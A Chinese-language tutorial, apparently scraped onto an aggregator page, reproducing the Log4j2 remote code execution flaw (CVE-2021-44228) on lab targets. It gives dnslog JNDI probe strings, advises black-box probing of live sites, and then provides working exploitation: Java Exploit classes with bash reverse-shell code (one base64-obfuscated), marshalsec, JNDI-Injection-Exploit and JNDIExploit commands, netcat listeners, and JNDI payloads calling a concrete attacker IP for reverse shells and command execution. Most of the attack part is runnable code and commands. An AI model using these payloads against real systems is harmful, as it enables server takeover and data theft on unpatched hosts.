Apache Log4j2 RCE漏洞复现(CVE

您所在的位置:网站首页 2021-1902 Apache Log4j2 RCE漏洞复现(CVE

Apache Log4j2 RCE漏洞复现(CVE

2024-01-12 02:20| 来源: 网络整理| 查看: 265

漏洞简述

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过

该漏洞构造特殊的数据请求包,最终触发远程代码执行。

漏洞探测 一、官方靶场给出漏洞地址

这里使用vps(centos7)+vulhub起一个CVE-2021-44228靶场环境

在这里插入图片描述 漏洞地址:/solr/admin/cores?action=

推荐BP插件log4j2burpscanner 参考地址: https://blog.csdn.net/m0_60571842/article/details/132469946

只需要启用插件,然后数据包经过BP就会被插件检测了 在这里插入图片描述 可以把工具的测试poc改为dnslog也行

${jndi:ldap://${sys:java.version}.ton0zb.dnslog.cn}

在这里插入图片描述 donslog有回显,说明漏洞存在!!!

这里有人可能会问,你妹的,你的漏洞地址都是官方给出来的,真实环境下我怎么知道漏洞地址呀。 别急,请看黑盒方式挖掘

二、黑盒方式挖掘

也是强烈推荐BP插件log4j2burpscanner 参考地址: https://blog.csdn.net/m0_60571842/article/details/132469946

只需要启用插件,然后数据包经过BP就会被插件检测了(不知道漏洞点没关系,通过展示出现的一些功能点,你全点一遍不就行了嘛) 在这里插入图片描述

在这里插入图片描述

在这里插入图片描述 ceye上也是有相关请求记录 在这里插入图片描述 可以把工具的测试poc改为dnslog也行

${jndi:ldap://${sys:java.version}.gro397.dnslog.cn}

在这里插入图片描述 没有问题,那就直接漏洞利用就行了呗。

漏洞利用 一、反弹shell 方法一(marshalsec-0.0.3-SNAPSHOT-all.jar):

第一步:编写Exploit.java也就是我们的payload(这里的payload一眼就看到了反弹shell的代码吧,想要执行啥命令自己改。这里注意修改反弹shell的ip和port,也就是我们vps的ip和监听的port。)

import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.lang.Runtime; import java.lang.Process; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }

或者

import java.lang.Runtime; import java.lang.Process; public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }

注:第二个payload里的base64反弹shell命令是在https://forum.ywhack.com/shell.php或者https://ares-x.com/tools/runtime-exec 在这里插入图片描述 在这里插入图片描述

第二步: 编译Exploit.java得到Exploit.class

javac Exploit.java

第三步:将Exploit.class放在我们vps的web服务器使外网可以访问(便于我们的靶机引用呗)

python -m http.server port

在这里插入图片描述

第四步:使用marshalsec-0.0.3-SNAPSHOT-all.jar开启ldap服务器(修改ip为自己vps的ip)

工具下载地址:https://github.com/mbechler/marshalsec 把源码下载下来,使用mvn clean package -DskipTests编译出jar文件,然后也把该工具上传到VPS和Exploit.class放在同一个目录下 在这里插入图片描述

java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:80/#Exploit"

这里的80端口是VPS的web服务端口 在这里插入图片描述 第五步:开启反弹shell的本地监听端口(这里要和第一步编写的payload里面的反弹shell的端口一致)

nc -lvvp 8888

第六步:前面所有的环境都已经准备好了,最后一步进行利用RCE即可。

在具有该漏洞的点输入:

${jndi:ldap://ip:1389/Exploit.class}

在这里插入图片描述 在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

方法二(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar):

第一步: 把反弹shell命令进行base64编码

反弹shell的命令为:bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

本例为(一会我们会在攻击机的一个终端监听8888端口):

bash -i >& /dev/tcp/114.132.219.55/8888 0>&1

还是要对这个命令进行base64编码,网址再贴一遍: https://ares-x.com/tools/runtime-exec 在这里插入图片描述 https://forum.ywhack.com/shell.php 在这里插入图片描述 第二步: 在这里我们需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来生成payload 工具地址:

https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

使用这个工具,我们就不用自己编写恶意代码.class再上传服务器了,直接用这个工具输入对应的命令就行了。

然后我们利用JNDI注入工具把这个反弹shell命令部署到LDAP服务上去,在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar所在目录运行如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "构造反弹shell的命令的base64编码" -A "攻击机ip"

在这里插入图片描述

可以看到,这里已经一键部署好了RMI和LDAP服务的站点,并给出了攻击payload路径。有不同的JDK版本,选其中一个就行。

注:JDK 1.8与JDK 1.7的payload得看目标使用的java版本符不符合,如果不符合那么就无效,建议使用第一个

第三步:开启反弹shell的本地监听端口

nc -lvvp 8888

第四步:在漏洞处输入我们的恶意payload

LDAP:

${jndi:ldap://114.132.219.55:1389/x2ucxj}

在这里插入图片描述 在这里插入图片描述 RMI:

${jndi:rmi://114.132.219.55:1099/x2ucxj}

在这里插入图片描述 在这里插入图片描述

方法三(JNDIExploit-1.4-SNAPSHOT.jar):

这里使用其他的注入工具,如JNDIExploit-1.4-SNAPSHOT.jar 工具下载地址: https://github.com/WhiteHSBG/JNDIExploit

1.在攻击机的对应工具目录下运行

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机ip

在这里插入图片描述 然后VPS监听个端口8888,再浏览器访问payload

${jndi:ldap://114.132.219.55:1389/Basic/ReverseShell/114.132.219.55/8888}

在这里插入图片描述 在这里插入图片描述

二、命令执行

这里使用vulfocus靶场起一个log4j2进行测试 在这里插入图片描述

漏洞地址为hello?payload=111

要想执行命令也是需要使用到JNDIExploit-1.4-SNAPSHOT.jar

1.在攻击机的对应工具目录下运行

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机ip

在这里插入图片描述 JNDIExploit支持以下几种回显命令方式:

bash ldap://127.0.0.1:1389/Basic/TomcatEcho ldap://127.0.0.1:1389/Basic/SpringEcho ldap://127.0.0.1:1389/Basic/WeblogicEcho ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils2/TomcatEcho ldap://127.0.0.1:1389/Deserialization/C3P0/SpringEcho ldap://127.0.0.1:1389/Deserialization/Jdk7u21/WeblogicEcho ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho ldap://127.0.0.1:1389/TomcatBypass/SpringEcho

使用方法就是在用回显的payload时,在请求头中添加cmd字段和要执行的命令即可 漏洞点处输入${jndi:ldap://114.132.219.55:1389/TomcatBypass/TomcatEcho}

在这里插入图片描述



【本文地址】


今日新闻


推荐新闻


    CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3